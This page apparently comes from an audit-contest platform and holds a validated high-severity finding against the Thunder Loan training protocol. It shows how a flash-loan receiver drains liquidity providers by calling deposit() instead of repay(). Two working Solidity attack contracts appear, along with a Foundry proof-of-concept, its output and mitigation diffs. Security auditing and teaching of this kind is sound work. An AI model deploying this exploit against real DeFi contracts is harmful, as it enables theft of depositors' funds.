Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

A flash-loan receiver can drain LP funds by calling `deposit()` instead of `repay()` — the ending-balance check passes while the attacker keeps AssetTokens that redeem to the borrowed amount

Root + Impact

Description

  • flashloan only verifies that token.balanceOf(assetToken) >= startingBalance + fee at the end of the call. It does not require the loaner to use the repay() entrypoint; any path that brings the AssetToken vault's balance back up satisfies the check.

  • A malicious receiver can call deposit(token, amount) during its executeOperation callback. This mints AssetTokens to the receiver (worth roughly amount of underlying) and replenishes the vault, satisfying the ending-balance check. The receiver then transfers the fee directly to the vault. After the flash loan returns, the attacker redeems their AssetTokens for ~amount of underlying — net-stealing the LPs' liquidity at the cost of only the flash-loan fee.

// src/protocol/ThunderLoan.sol :: flashloan
function flashloan(...) external {
// ...
assetToken.transferUnderlyingTo(receiverAddress, amount);
receiverAddress.functionCall(abi.encodeWithSignature("executeOperation(...)", ...));
@> uint256 endingBalance = token.balanceOf(address(assetToken));
@> if (endingBalance < startingBalance + fee) revert; // only checks balance — not how it got there
s_currentlyFlashLoaning[token] = false;
}
// Malicious receiver
function executeOperation(address token, uint256 amount, uint256 fee, ...) external returns (bool) {
@> IERC20(token).approve(thunderLoan, amount);
@> ThunderLoan(thunderLoan).deposit(IERC20(token), amount); // mint AssetTokens to attacker
@> IERC20(token).safeTransfer(assetTokenVault, fee); // top up vault by `fee`
// endingBalance now == startingBalance + fee — check passes
return true;
}

Risk

Likelihood:

  • Any address that can deploy a contract can perform the attack. No special permissions, no oracle manipulation, no preconditions beyond having tokens to cover the fee.

  • The attack is single-transaction and atomic — it succeeds or reverts with no partial state.
    Impact:

  • Each iteration extracts amount - fee of real underlying from the LP pool. The attacker can repeat with the maximum borrowable amount each time, draining the pool until liquidity is exhausted.

  • PoC shows: attacker borrows 50e18, ends the flash loan in possession of 49.84e18 AssetTokens, redeems for 50.007e18 underlying — having spent only the fee out of pocket. Net profit per round ≈ amount - fee.

Proof of Concept

function test_BUG4_depositInsteadOfRepayLetsLoanerStealLPFunds() public {
// LP seeds the pool
tokenA.mint(bob, 1000e18);
vm.startPrank(bob);
tokenA.approve(address(thunderLoan), 1000e18);
thunderLoan.deposit(IERC20(address(tokenA)), 1000e18);
vm.stopPrank();
// Attacker deploys malicious receiver, funded only with fee
DepositAsRepayReceiver malicious = new DepositAsRepayReceiver(address(thunderLoan));
uint256 borrowAmount = 50e18;
uint256 fee = thunderLoan.getCalculatedFee(IERC20(address(tokenA)), borrowAmount);
tokenA.mint(address(malicious), fee);
thunderLoan.flashloan(address(malicious), IERC20(address(tokenA)), borrowAmount, "");
// After redeem, attacker has > borrowAmount of underlying — net steal
AssetToken assetToken = thunderLoan.getAssetFromToken(IERC20(address(tokenA)));
uint256 attackerAssetBal = assetToken.balanceOf(address(malicious));
vm.prank(address(malicious));
thunderLoan.redeem(IERC20(address(tokenA)), attackerAssetBal);
uint256 attackerTokenBal = tokenA.balanceOf(address(malicious));
assertGt(attackerTokenBal, fee, "attacker is net-positive on real tokens");
}

Output: attacker AssetToken balance 49.84e18, redeems to 50.007e18 of underlying. Net theft of ~50e18 - fee per round.

Recommended Mitigation

Forbid state-changing interactions with the protocol's own functions during a flash loan, OR require the loan to be settled exclusively via repay().

Option A — track exact repayment via repay():

+ mapping(IERC20 => uint256) private s_flashLoanRepaid;
function flashloan(...) external {
// ...
+ s_flashLoanRepaid[token] = 0;
s_currentlyFlashLoaning[token] = true;
// ...
- if (endingBalance < startingBalance + fee) revert ...;
+ if (s_flashLoanRepaid[token] < amount + fee) revert ...;
s_currentlyFlashLoaning[token] = false;
}
function repay(IERC20 token, uint256 amount) public {
if (!s_currentlyFlashLoaning[token]) revert ...;
+ s_flashLoanRepaid[token] += amount;
AssetToken assetToken = s_tokenToAssetToken[IERC20(token)];
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}

Option B — disallow deposit while flash loan is active for that token:

function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
+ if (s_currentlyFlashLoaning[token]) revert ThunderLoan__CannotDepositDuringFlashLoan();
// ...
}

Option A is preferred because it makes the invariant explicit: "the flash loan is settled iff repay() was called with the full amount + fee."

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 16 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!